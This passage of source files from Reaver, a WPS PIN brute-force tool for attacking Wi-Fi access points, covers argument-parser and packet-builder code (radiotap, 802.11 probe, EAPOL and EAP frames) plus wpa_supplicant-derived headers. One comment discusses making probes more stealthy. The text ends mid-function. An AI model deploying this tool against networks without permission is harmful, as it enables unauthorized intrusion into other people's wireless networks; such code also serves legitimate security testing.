you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef _ARGPARSER_H_ #define _ARGPARSER_H_ int process_arguments(int argc, char **argv); void init_default_settings(void); void parse_recurring_delay(char *arg); void parse_static_pin(char *pin); #endif reaver-wps-fork-t6x-1.6.6/src/builder.c000066400000000000000000000360671363372615500177050ustar00rootroot00000000000000/* * Reaver - Packet building functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #include "builder.h" #include size_t build_radio_tap_header(void *rt_header) { #ifdef RADIOTAP_HEADER_WITH_RATE #define RADIOTAP_HEADER_LENGTH \ "\x0c\0" /* header length */ #define RADIOTAP_HEADER_PRESENT_FLAGS \ "\x04\x80\0\0" /* present flags: rate & tx flags */ #define RADIOTAP_HEADER_RATE_OPTION \ "\0\0" /* rate, padding */ #else #define RADIOTAP_HEADER_LENGTH \ "\x0a\0" /* header length */ #define RADIOTAP_HEADER_PRESENT_FLAGS \ "\x00\x80\0\0" /* present flags: tx flags */ #define RADIOTAP_HEADER_RATE_OPTION "" #endif #define RADIOTAP_HEADER \ "\0\0" /* version */ \ RADIOTAP_HEADER_LENGTH \ RADIOTAP_HEADER_PRESENT_FLAGS \ RADIOTAP_HEADER_RATE_OPTION \ "\x18\0" /* TX flags: F_TX_NOACK | F_TX_NOSEQ */ memcpy(rt_header, RADIOTAP_HEADER, sizeof(RADIOTAP_HEADER)-1); return sizeof(RADIOTAP_HEADER)-1; } static size_t build_dot11_frame_header_m(struct dot11_frame_header *fh, uint16_t fc, unsigned char dstmac[6]) { static uint16_t frag_seq; fh->duration = end_htole16(52); /* DEFAULT_DURATION */ fh->fc = end_htole16(fc); fh->frag_seq = end_htole16(frag_seq); memcpy(fh->addr1, dstmac, MAC_ADDR_LEN); memcpy(fh->addr2, get_mac(), MAC_ADDR_LEN); memcpy(fh->addr3, dstmac, MAC_ADDR_LEN); frag_seq += 0x10; /* SEQ_MASK */ return sizeof *fh; } size_t build_dot11_frame_header(struct dot11_frame_header *fh, uint16_t fc) { return build_dot11_frame_header_m(fh, fc, get_bssid()); } size_t build_dot11_frame_header_broadcast(struct dot11_frame_header *fh, uint16_t fc) { return build_dot11_frame_header_m(fh, fc, "\xff\xff\xff\xff\xff\xff"); } size_t build_authentication_management_frame(struct authentication_management_frame *f) { f->algorithm = end_htole16(OPEN_SYSTEM); f->sequence = end_htole16(1); f->status = 0; return sizeof *f; } size_t build_association_management_frame(struct association_request_management_frame *f) { f->capability = end_htole16(get_ap_capability()); f->listen_interval = end_htole16(LISTEN_INTERVAL); return sizeof *f; } static size_t build_llc_header(struct llc_header *h) { h->dsap = LLC_SNAP; h->ssap = LLC_SNAP; h->control_field = UNNUMBERED_FRAME; h->org_code[0] = 0; h->org_code[1] = 0; h->org_code[2] = 0; h->type = end_htobe16(DOT1X_AUTHENTICATION); return sizeof *h; } void *build_wps_probe_request(unsigned char *bssid, char *essid, size_t *len) { // TODO: one might actually first (or only) try to send broadcast probes. // the only 2 differences are that in build_dot11_frame_header instead of the // target bssid the special mac address ff:ff:ff:ff:ff:ff is used, // and the SSID tag is always "\x00\x00" // sending only broadcast probes would at least make the operation much more // stealthy! the directed probes basically only make sense when sent to *hidden* // ESSIDs, after finding out their real ESSID by watching other client's probes. struct tagged_parameter ssid_tag = { 0 }; void *packet = NULL; size_t offset = 0, rt_len = 0, dot11_len = 0, ssid_tag_len = 0, packet_len = 0; int broadcast = !memcmp(bssid, "\xff\xff\xff\xff\xff\xff", 6); if(!broadcast && essid != NULL) { ssid_tag.len = (uint8_t) strlen(essid); } else { ssid_tag.len = 0; } ssid_tag.number = SSID_TAG_NUMBER; ssid_tag_len = ssid_tag.len + sizeof(struct tagged_parameter); struct radio_tap_header rt_header; rt_len = build_radio_tap_header(&rt_header); struct dot11_frame_header dot11_header; dot11_len = build_dot11_frame_header_m(&dot11_header, FC_PROBE_REQUEST, bssid); packet_len = rt_len + dot11_len + ssid_tag_len; #define TAG_SUPPORTED_RATES "\x01\x08\x02\x04\x0b\x16\x0c\x12\x18\x24" #define TAG_EXT_RATES "\x32\x04\x30\x48\x60\x6c" // it seems some OS don't send this tag, so leave it away //#define TAG_DS_PARAM "\x03\x01\x07" #define TAG_HT_CAPS "\x2d\x1a\x72\x01\x13\xff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" // maybe we should leave this away too, it is usually not sent, but the // AP responds with WPS info anyway #define WPS_PROBE_IE "\xdd\x09\x00\x50\xf2\x04\x10\x4a\x00\x01\x10" #define ALL_TAGS TAG_SUPPORTED_RATES TAG_EXT_RATES TAG_HT_CAPS WPS_PROBE_IE packet_len += sizeof(ALL_TAGS) -1; packet = malloc(packet_len); if(packet) { memset((void *) packet, 0, packet_len); memcpy((void *) packet, &rt_header, rt_len); offset += rt_len; memcpy((void *) ((char *) packet+offset), &dot11_header, dot11_len); offset += dot11_len; memcpy((void *) ((char *) packet+offset), (void *) &ssid_tag, sizeof(ssid_tag)); offset += sizeof(ssid_tag); memcpy((void *) ((char *) packet+offset), essid, ssid_tag.len); offset += ssid_tag.len; memcpy(packet+offset, ALL_TAGS, sizeof(ALL_TAGS) -1); offset += sizeof(ALL_TAGS) -1; *len = packet_len; } return packet; } /* Wrapper function for Radio Tap / Dot11 / LLC */ void *build_snap_packet(size_t *len) { void *packet = NULL; size_t rt_len = 0, dot11_len = 0, llc_len = 0, packet_len = 0; struct radio_tap_header rt_header; struct dot11_frame_header dot11_header; struct llc_header llc_header; rt_len = build_radio_tap_header(&rt_header); dot11_len = build_dot11_frame_header(&dot11_header, FC_STANDARD); llc_len = build_llc_header(&llc_header); packet_len = rt_len + dot11_len + llc_len; packet = malloc(packet_len); if(packet) { memset((void *) packet, 0, packet_len); memcpy((void *) packet, &rt_header, rt_len); memcpy((void *) ((char *) packet+rt_len), &dot11_header, dot11_len); memcpy((void *) ((char *) packet+rt_len+dot11_len), &llc_header, llc_len); *len = packet_len; } return packet; } void *build_dot1X_header(uint8_t type, uint16_t payload_len, size_t *len) { struct dot1X_header *header = NULL; void *buf = NULL; buf = malloc(sizeof(struct dot1X_header)); if(buf) { *len = sizeof(struct dot1X_header); memset((void *) buf, 0, sizeof(struct dot1X_header)); header = (struct dot1X_header *) buf; header->version = DOT1X_VERSION; header->type = type; header->len = htons(payload_len); } return buf; } void *build_eap_header(uint8_t id, uint8_t code, uint8_t type, uint16_t payload_len, size_t *len) { struct eap_header *header = NULL; void *buf = NULL; buf = malloc(sizeof(struct eap_header)); if(buf) { *len = sizeof(struct eap_header); memset((void *) buf, 0, sizeof(struct eap_header)); header = (struct eap_header *) buf; header->code = code; header->id = id; header->len = htons((payload_len + *len)); header->type = type; id++; } return buf; } void *build_wfa_header(uint8_t op_code, size_t *len) { void *buf = NULL; struct wfa_expanded_header *header = NULL; buf = malloc(sizeof(struct wfa_expanded_header)); if(buf) { *len = sizeof(struct wfa_expanded_header); memset((void *) buf, 0, *len); header = (struct wfa_expanded_header *) buf; memcpy(header->id, WFA_VENDOR_ID, sizeof(header->id)); header->type = end_htobe32(SIMPLE_CONFIG); header->opcode = op_code; } return buf; } /* Wrapper for SNAP / Dot1X Start */ void *build_eapol_start_packet(size_t *len) { void *snap_packet = NULL, *dot1x_header = NULL, *packet = NULL; size_t snap_len = 0, dot1x_len = 0, packet_len = 0; /* Build a SNAP packet and a 802.1X START header */ snap_packet = build_snap_packet(&snap_len); dot1x_header = build_dot1X_header(DOT1X_START, 0, &dot1x_len); if(snap_packet && dot1x_header) { packet_len = snap_len + dot1x_len; packet = malloc(packet_len); if(packet) { /* Build packet */ memset((void *) packet, 0, packet_len); memcpy((void *) packet, snap_packet, snap_len); memcpy((void *) ((char *) packet+snap_len), dot1x_header, dot1x_len); *len = packet_len; } free((void *) snap_packet); free((void *) dot1x_header); } return packet; } /* Wrapper for SNAP / Dot1X / EAP / WFA / Payload */ void *build_eap_packet(const void *payload, uint16_t payload_len, size_t *len) { void *buf = NULL, *snap_packet = NULL, *eap_header = NULL, *dot1x_header = NULL, *wfa_header = NULL; size_t buf_len = 0, snap_len = 0, eap_len = 0, dot1x_len = 0, wfa_len = 0, offset = 0, total_payload_len = 0; uint8_t eap_type = 0, eap_code = 0; struct wps_data *wps = get_wps(); /* Decide what type of EAP packet to build based on the current WPS state */ switch(wps->state) { case RECV_M1: eap_code = EAP_RESPONSE; eap_type = EAP_IDENTITY; break; default: eap_code = EAP_RESPONSE; eap_type = EAP_EXPANDED; } /* Total payload size may or may not be equal to payload_len depending on if we * need to build and add a WFA header to the packet payload. */ total_payload_len = payload_len; /* If eap_type is Expanded, then we need to add a WFA header */ if(eap_type == EAP_EXPANDED) { wfa_header = build_wfa_header(get_opcode(), &wfa_len); total_payload_len += wfa_len; } /* Build SNAP, EAP and 802.1x headers */ snap_packet = build_snap_packet(&snap_len); eap_header = build_eap_header(get_eap_id(), eap_code, eap_type, total_payload_len, &eap_len); dot1x_header = build_dot1X_header(DOT1X_EAP_PACKET, (total_payload_len+eap_len), &dot1x_len); if(snap_packet && eap_header && dot1x_header) { buf_len = snap_len + dot1x_len + eap_len + total_payload_len; buf = malloc(buf_len); if(buf) { memset((void *) buf, 0, buf_len); /* Build the packet */ memcpy((void *) buf, snap_packet, snap_len); offset += snap_len; memcpy((void *) ((char *) buf+offset), dot1x_header, dot1x_len); offset += dot1x_len; memcpy((void *) ((char *) buf+offset), eap_header, eap_len); offset += eap_len; if(eap_type == EAP_EXPANDED) { memcpy((void *) ((char *) buf+offset), wfa_header, wfa_len); offset += wfa_len; } if(payload && payload_len) { memcpy((void *) ((char *) buf+offset), payload, payload_len); } *len = (offset + payload_len); } free((void *) snap_packet); free((void *) eap_header); free((void *) dot1x_header); if(wfa_header) free((void *) wfa_header); } return buf; } void *build_eap_failure_packet(size_t *len) { void *buf = NULL, *snap_packet = NULL, *eap_header = NULL, *dot1x_header = NULL; size_t buf_len = 0, snap_len = 0, eap_len = 0, dot1x_len = 0, offset = 0; /* Build SNAP, EAP and 802.1x headers */ snap_packet = build_snap_packet(&snap_len); eap_header = build_eap_header(get_eap_id(), EAP_FAILURE, EAP_FAILURE, 0, &eap_len); dot1x_header = build_dot1X_header(DOT1X_EAP_PACKET, eap_len, &dot1x_len); buf_len = snap_len + eap_len + dot1x_len; if(snap_packet && eap_header && dot1x_header) { buf = malloc(buf_len); if(buf) { memset((void *) buf, 0, buf_len); memcpy((void *) buf, snap_packet, snap_len); offset += snap_len; memcpy((void *) ((char *) buf+offset), dot1x_header, dot1x_len); offset += dot1x_len; memcpy((void *) ((char *) buf+offset), eap_header, eap_len); *len = buf_len; } } if(snap_packet) free((void *) snap_packet); if(eap_header) free((void *) eap_header); if(dot1x_header) free((void *) dot1x_header); return buf; } static size_t build_tagged_parameter(struct tagged_parameter *tag, uint8_t number, uint8_t size) { tag->number = number; tag->len = size; return sizeof *tag; } size_t build_ssid_tagged_parameter(unsigned char buf[IW_ESSID_MAX_SIZE+2], char *essid) { struct tagged_parameter ssid_param; size_t ssid_len = strlen(essid), ssid_param_len; ssid_param_len = build_tagged_parameter(&ssid_param, SSID_TAG_NUMBER, ssid_len); assert(ssid_param_len == 2); assert(2 == sizeof (struct tagged_parameter)); memcpy(buf, &ssid_param, sizeof ssid_param); memcpy(buf+2, essid, ssid_len); return 2 + ssid_len; } size_t build_wps_tagged_parameter(unsigned char buf[2+WPS_TAG_SIZE]) { size_t wps_param_len; struct tagged_parameter wps_param; wps_param_len = build_tagged_parameter(&wps_param, WPS_TAG_NUMBER, WPS_TAG_SIZE); assert(wps_param_len == 2); assert(2 == sizeof (struct tagged_parameter)); memcpy(buf, &wps_param, sizeof wps_param); memcpy(buf+2, WPS_REGISTRAR_TAG, WPS_TAG_SIZE); return 2+WPS_TAG_SIZE; } size_t build_supported_rates_tagged_parameter(unsigned char *buf, size_t buflen) { unsigned char *erates, *srates; int srates_tag_size, erates_tag_size; size_t i, len, srates_len, erates_len, offset = 0; struct tagged_parameter supported_rates, extended_rates; srates = get_ap_rates(&srates_tag_size); assert(sizeof(struct tagged_parameter) + srates_tag_size < buflen); srates_len = build_tagged_parameter(&supported_rates, SRATES_TAG_NUMBER, srates_tag_size); memcpy(buf, &supported_rates, srates_len); offset += srates_len; memcpy(buf+offset, srates, srates_tag_size); for(i=offset; i= buflen) return 0; /* having HT caps is usually not critical, so better return nothing */ memcpy(buf, &tag_htcaps, taglen); memcpy(buf + taglen, htcaps, htlen); return taglen + htlen; } reaver-wps-fork-t6x-1.6.6/src/builder.h000066400000000000000000000065251363372615500177060ustar00rootroot00000000000000/* * Reaver - Packet building functions * Copyright (c) 2011, Tactical Network Solutions, Craig Heffner * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA * * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. * If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. * If you * do not wish to do so, delete this exception statement from your * version. * If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef BUILDER_H #define BUILDER_H #include #include "defs.h" #include "globule.h" #define SRATES_TAG_NUMBER 0x01 #define ERATES_TAG_NUMBER 0x32 #define WPS_TAG_SIZE 14 #define WPS_REGISTRAR_TAG "\x00\x50\xF2\x04\x10\x4A\x00\x01\x10\x10\x3A\x00\x01\x02" #define DOT1X_VERSION 0x01 #define DOT1X_START 0x01 #define FC_PROBE_REQUEST 0x0040 #define FC_STANDARD 0x0108 #define LLC_SNAP 0xAA #define LISTEN_INTERVAL 0x0064 #define OPEN_SYSTEM 0 #define UNNUMBERED_FRAME 0x03 #define WFA_VENDOR_ID "\x00\x37\x2A" #ifndef IW_ESSID_MAX_SIZE #define IW_ESSID_MAX_SIZE 32 #endif size_t build_radio_tap_header(void *rt_header); size_t build_dot11_frame_header(struct dot11_frame_header *fh, uint16_t fc); size_t build_association_management_frame(struct association_request_management_frame *f); size_t build_authentication_management_frame(struct authentication_management_frame *f); size_t build_ssid_tagged_parameter(unsigned char buf[IW_ESSID_MAX_SIZE+2], char *essid); size_t build_supported_rates_tagged_parameter(unsigned char *buf, size_t buflen); size_t build_wps_tagged_parameter(unsigned char buf[2+WPS_TAG_SIZE]); size_t build_htcaps_parameter(unsigned char *buf, size_t buflen); void *build_wps_probe_request(unsigned char *bssid, char *essid, size_t *len); void *build_snap_packet(size_t *len); void *build_dot1X_header(uint8_t type, uint16_t payload_len, size_t *len); void *build_eap_header(uint8_t id, uint8_t code, uint8_t type, uint16_t payload_len, size_t *len); void *build_eapol_start_packet(size_t *len); void *build_eap_packet(const void *payload, uint16_t payload_len, size_t *len); void *build_eap_failure_packet(size_t *len); #endif reaver-wps-fork-t6x-1.6.6/src/common/000077500000000000000000000000001363372615500173675ustar00rootroot00000000000000reaver-wps-fork-t6x-1.6.6/src/common/Makefile000077500000000000000000000001371363372615500210330ustar00rootroot00000000000000all: @echo Nothing to be made. clean: rm -f *~ *.o *.d install: @echo Nothing to be made. reaver-wps-fork-t6x-1.6.6/src/common/defs.h000077500000000000000000000155141363372615500204720ustar00rootroot00000000000000/* * WPA Supplicant - Common definitions * Copyright (c) 2004-2008, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef DEFS_H #define DEFS_H #ifdef FALSE #undef FALSE #endif #ifdef TRUE #undef TRUE #endif typedef enum { FALSE = 0, TRUE = 1 } Boolean; #define WPA_CIPHER_NONE BIT(0) #define WPA_CIPHER_WEP40 BIT(1) #define WPA_CIPHER_WEP104 BIT(2) #define WPA_CIPHER_TKIP BIT(3) #define WPA_CIPHER_CCMP BIT(4) #ifdef CONFIG_IEEE80211W #define WPA_CIPHER_AES_128_CMAC BIT(5) #endif /* CONFIG_IEEE80211W */ #define WPA_KEY_MGMT_IEEE8021X BIT(0) #define WPA_KEY_MGMT_PSK BIT(1) #define WPA_KEY_MGMT_NONE BIT(2) #define WPA_KEY_MGMT_IEEE8021X_NO_WPA BIT(3) #define WPA_KEY_MGMT_WPA_NONE BIT(4) #define WPA_KEY_MGMT_FT_IEEE8021X BIT(5) #define WPA_KEY_MGMT_FT_PSK BIT(6) #define WPA_KEY_MGMT_IEEE8021X_SHA256 BIT(7) #define WPA_KEY_MGMT_PSK_SHA256 BIT(8) #define WPA_KEY_MGMT_WPS BIT(9) static inline int wpa_key_mgmt_wpa_ieee8021x(int akm) { return akm == WPA_KEY_MGMT_IEEE8021X || akm == WPA_KEY_MGMT_FT_IEEE8021X || akm == WPA_KEY_MGMT_IEEE8021X_SHA256; } static inline int wpa_key_mgmt_wpa_psk(int akm) { return akm == WPA_KEY_MGMT_PSK || akm == WPA_KEY_MGMT_FT_PSK || akm == WPA_KEY_MGMT_PSK_SHA256; } static inline int wpa_key_mgmt_ft(int akm) { return akm == WPA_KEY_MGMT_FT_PSK || akm == WPA_KEY_MGMT_FT_IEEE8021X; } static inline int wpa_key_mgmt_sha256(int akm) { return akm == WPA_KEY_MGMT_PSK_SHA256 || akm == WPA_KEY_MGMT_IEEE8021X_SHA256; } #define WPA_PROTO_WPA BIT(0) #define WPA_PROTO_RSN BIT(1) #define WPA_AUTH_ALG_OPEN BIT(0) #define WPA_AUTH_ALG_SHARED BIT(1) #define WPA_AUTH_ALG_LEAP BIT(2) #define WPA_AUTH_ALG_FT BIT(3) enum wpa_alg { WPA_ALG_NONE, WPA_ALG_WEP, WPA_ALG_TKIP, WPA_ALG_CCMP, WPA_ALG_IGTK, WPA_ALG_PMK }; /** * enum wpa_cipher - Cipher suites */ enum wpa_cipher { CIPHER_NONE, CIPHER_WEP40, CIPHER_TKIP, CIPHER_CCMP, CIPHER_WEP104 }; /** * enum wpa_key_mgmt - Key management suites */ enum wpa_key_mgmt { KEY_MGMT_802_1X, KEY_MGMT_PSK, KEY_MGMT_NONE, KEY_MGMT_802_1X_NO_WPA, KEY_MGMT_WPA_NONE, KEY_MGMT_FT_802_1X, KEY_MGMT_FT_PSK, KEY_MGMT_802_1X_SHA256, KEY_MGMT_PSK_SHA256, KEY_MGMT_WPS }; /** * enum wpa_states - wpa_supplicant state * * These enumeration values are used to indicate the current wpa_supplicant * state (wpa_s->wpa_state). The current state can be retrieved with * wpa_supplicant_get_state() function and the state can be changed by calling * wpa_supplicant_set_state(). In WPA state machine (wpa.c and preauth.c), the * wrapper functions wpa_sm_get_state() and wpa_sm_set_state() should be used * to access the state variable. */ enum wpa_states { /** * WPA_DISCONNECTED - Disconnected state * * This state indicates that client is not associated, but is likely to * start looking for an access point. This state is entered when a * connection is lost. */ WPA_DISCONNECTED, /** * WPA_INACTIVE - Inactive state (wpa_supplicant disabled) * * This state is entered if there are no enabled networks in the * configuration. wpa_supplicant is not trying to associate with a new * network and external interaction (e.g., ctrl_iface call to add or * enable a network) is needed to start association. */ WPA_INACTIVE, /** * WPA_SCANNING - Scanning for a network * * This state is entered when wpa_supplicant starts scanning for a * network. */ WPA_SCANNING, /** * WPA_AUTHENTICATING - Trying to authenticate with a BSS/SSID * * This state is entered when wpa_supplicant has found a suitable BSS * to authenticate with and the driver is configured to try to * authenticate with this BSS. This state is used only with drivers * that use wpa_supplicant as the SME. */ WPA_AUTHENTICATING, /** * WPA_ASSOCIATING - Trying to associate with a BSS/SSID * * This state is entered when wpa_supplicant has found a suitable BSS * to associate with and the driver is configured to try to associate * with this BSS in ap_scan=1 mode. When using ap_scan=2 mode, this * state is entered when the driver is configured to try to associate * with a network using the configured SSID and security policy. */ WPA_ASSOCIATING, /** * WPA_ASSOCIATED - Association completed * * This state is entered when the driver reports that association has * been successfully completed with an AP. If IEEE 802.1X is used * (with or without WPA/WPA2), wpa_supplicant remains in this state * until the IEEE 802.1X/EAPOL authentication has been completed. */ WPA_ASSOCIATED, /** * WPA_4WAY_HANDSHAKE - WPA 4-Way Key Handshake in progress * * This state is entered when WPA/WPA2 4-Way Handshake is started. In * case of WPA-PSK, this happens when receiving the first EAPOL-Key * frame after association. In case of WPA-EAP, this state is entered * when the IEEE 802.1X/EAPOL authentication has been completed. */ WPA_4WAY_HANDSHAKE, /** * WPA_GROUP_HANDSHAKE - WPA Group Key Handshake in progress * * This state is entered when 4-Way Key Handshake has been completed * (i.e., when the supplicant sends out message 4/4) and when Group * Key rekeying is started by the AP (i.e., when supplicant receives * message 1/2). */ WPA_GROUP_HANDSHAKE, /** * WPA_COMPLETED - All authentication completed * * This state is entered when the full authentication process is * completed. In case of WPA2, this happens when the 4-Way Handshake is * successfully completed. With WPA, this state is entered after the * Group Key Handshake; with IEEE 802.1X (non-WPA) connection is * completed after dynamic keys are received (or if not used, after * the EAP authentication has been completed). With static WEP keys and * plaintext connections, this state is entered when an association * has been completed. * * This state indicates that the supplicant has completed its * processing for the association phase and that data connection is * fully configured. */ WPA_COMPLETED }; #define MLME_SETPROTECTION_PROTECT_TYPE_NONE 0 #define MLME_SETPROTECTION_PROTECT_TYPE_RX 1 #define MLME_SETPROTECTION_PROTECT_TYPE_TX 2 #define MLME_SETPROTECTION_PROTECT_TYPE_RX_TX 3 #define MLME_SETPROTECTION_KEY_TYPE_GROUP 0 #define MLME_SETPROTECTION_KEY_TYPE_PAIRWISE 1 /** * enum mfp_options - Management frame protection (IEEE 802.11w) options */ enum mfp_options { NO_MGMT_FRAME_PROTECTION = 0, MGMT_FRAME_PROTECTION_OPTIONAL = 1, MGMT_FRAME_PROTECTION_REQUIRED = 2 }; /** * enum hostapd_hw_mode - Hardware mode */ enum hostapd_hw_mode { HOSTAPD_MODE_IEEE80211B, HOSTAPD_MODE_IEEE80211G, HOSTAPD_MODE_IEEE80211A, NUM_HOSTAPD_MODES }; #endif /* DEFS_H */ reaver-wps-fork-t6x-1.6.6/src/common/eapol_common.h000077500000000000000000000021441363372615500222140ustar00rootroot00000000000000/* * EAPOL definitions shared between hostapd and wpa_supplicant * Copyright (c) 2002-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef EAPOL_COMMON_H #define EAPOL_COMMON_H /* IEEE Std 802.1X-2004 */ #ifdef _MSC_VER #pragma pack(push, 1) #endif /* _MSC_VER */ struct ieee802_1x_hdr { u8 version; u8 type; be16 length; /* followed by length octets of data */ } STRUCT_PACKED; #ifdef _MSC_VER #pragma pack(pop) #endif /* _MSC_VER */ #define EAPOL_VERSION 2 enum { IEEE802_1X_TYPE_EAP_PACKET = 0, IEEE802_1X_TYPE_EAPOL_START = 1, IEEE802_1X_TYPE_EAPOL_LOGOFF = 2, IEEE802_1X_TYPE_EAPOL_KEY = 3, IEEE802_1X_TYPE_EAPOL_ENCAPSULATED_ASF_ALERT = 4 }; enum { EAPOL_KEY_TYPE_RC4 = 1, EAPOL_KEY_TYPE_RSN = 2, EAPOL_KEY_TYPE_WPA = 254 }; #endif /* EAPOL_COMMON_H */ reaver-wps-fork-t6x-1.6.6/src/common/ieee802_11_common.c000077500000000000000000000163551363372615500225620ustar00rootroot00000000000000/* * IEEE 802.11 Common routines * Copyright (c) 2002-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "ieee802_11_defs.h" #include "ieee802_11_common.h" static int ieee802_11_parse_vendor_specific(const u8 *pos, size_t elen, struct ieee802_11_elems *elems, int show_errors) { unsigned int oui; /* first 3 bytes in vendor specific information element are the IEEE * OUI of the vendor. The following byte is used a vendor specific * sub-type. */ if (elen < 4) { if (show_errors) { wpa_printf(MSG_MSGDUMP, "short vendor specific " "information element ignored (len=%lu)", (unsigned long) elen); } return -1; } oui = WPA_GET_BE24(pos); switch (oui) { case OUI_MICROSOFT: /* Microsoft/Wi-Fi information elements are further typed and * subtyped */ switch (pos[3]) { case 1: /* Microsoft OUI (00:50:F2) with OUI Type 1: * real WPA information element */ elems->wpa_ie = pos; elems->wpa_ie_len = elen; break; case WMM_OUI_TYPE: /* WMM information element */ if (elen < 5) { wpa_printf(MSG_MSGDUMP, "short WMM " "information element ignored " "(len=%lu)", (unsigned long) elen); return -1; } switch (pos[4]) { case WMM_OUI_SUBTYPE_INFORMATION_ELEMENT: case WMM_OUI_SUBTYPE_PARAMETER_ELEMENT: /* * Share same pointer since only one of these * is used and they start with same data. * Length field can be used to distinguish the * IEs. */ elems->wmm = pos; elems->wmm_len = elen; break; case WMM_OUI_SUBTYPE_TSPEC_ELEMENT: elems->wmm_tspec = pos; elems->wmm_tspec_len = elen; break; default: wpa_printf(MSG_MSGDUMP, "unknown WMM " "information element ignored " "(subtype=%d len=%lu)", pos[4], (unsigned long) elen); return -1; } break; case 4: /* Wi-Fi Protected Setup (WPS) IE */ elems->wps_ie = pos; elems->wps_ie_len = elen; break; default: wpa_printf(MSG_MSGDUMP, "Unknown Microsoft " "information element ignored " "(type=%d len=%lu)\n", pos[3], (unsigned long) elen); return -1; } break; case OUI_BROADCOM: switch (pos[3]) { case VENDOR_HT_CAPAB_OUI_TYPE: elems->vendor_ht_cap = pos; elems->vendor_ht_cap_len = elen; break; default: wpa_printf(MSG_MSGDUMP, "Unknown Broadcom " "information element ignored " "(type=%d len=%lu)\n", pos[3], (unsigned long) elen); return -1; } break; default: wpa_printf(MSG_MSGDUMP, "unknown vendor specific information " "element ignored (vendor OUI %02x:%02x:%02x " "len=%lu)", pos[0], pos[1], pos[2], (unsigned long) elen); return -1; } return 0; } /** * ieee802_11_parse_elems - Parse information elements in management frames * @start: Pointer to the start of IEs * @len: Length of IE buffer in octets * @elems: Data structure for parsed elements * @show_errors: Whether to show parsing errors in debug log * Returns: Parsing result */ ParseRes ieee802_11_parse_elems(const u8 *start, size_t len, struct ieee802_11_elems *elems, int show_errors) { size_t left = len; const u8 *pos = start; int unknown = 0; os_memset(elems, 0, sizeof(*elems)); while (left >= 2) { u8 id, elen; id = *pos++; elen = *pos++; left -= 2; if (elen > left) { if (show_errors) { wpa_printf(MSG_DEBUG, "IEEE 802.11 element " "parse failed (id=%d elen=%d " "left=%lu)", id, elen, (unsigned long) left); wpa_hexdump(MSG_MSGDUMP, "IEs", start, len); } return ParseFailed; } switch (id) { case WLAN_EID_SSID: elems->ssid = pos; elems->ssid_len = elen; break; case WLAN_EID_SUPP_RATES: elems->supp_rates = pos; elems->supp_rates_len = elen; break; case WLAN_EID_FH_PARAMS: elems->fh_params = pos; elems->fh_params_len = elen; break; case WLAN_EID_DS_PARAMS: elems->ds_params = pos; elems->ds_params_len = elen; break; case WLAN_EID_CF_PARAMS: elems->cf_params = pos; elems->cf_params_len = elen; break; case WLAN_EID_TIM: elems->tim = pos; elems->tim_len = elen; break; case WLAN_EID_IBSS_PARAMS: elems->ibss_params = pos; elems->ibss_params_len = elen; break; case WLAN_EID_CHALLENGE: elems->challenge = pos; elems->challenge_len = elen; break; case WLAN_EID_ERP_INFO: elems->erp_info = pos; elems->erp_info_len = elen; break; case WLAN_EID_EXT_SUPP_RATES: elems->ext_supp_rates = pos; elems->ext_supp_rates_len = elen; break; case WLAN_EID_VENDOR_SPECIFIC: if (ieee802_11_parse_vendor_specific(pos, elen, elems, show_errors)) unknown++; break; case WLAN_EID_RSN: elems->rsn_ie = pos; elems->rsn_ie_len = elen; break; case WLAN_EID_PWR_CAPABILITY: elems->power_cap = pos; elems->power_cap_len = elen; break; case WLAN_EID_SUPPORTED_CHANNELS: elems->supp_channels = pos; elems->supp_channels_len = elen; break; case WLAN_EID_MOBILITY_DOMAIN: elems->mdie = pos; elems->mdie_len = elen; break; case WLAN_EID_FAST_BSS_TRANSITION: elems->ftie = pos; elems->ftie_len = elen; break; case WLAN_EID_TIMEOUT_INTERVAL: elems->timeout_int = pos; elems->timeout_int_len = elen; break; case WLAN_EID_HT_CAP: elems->ht_capabilities = pos; elems->ht_capabilities_len = elen; break; case WLAN_EID_HT_OPERATION: elems->ht_operation = pos; elems->ht_operation_len = elen; break; default: unknown++; if 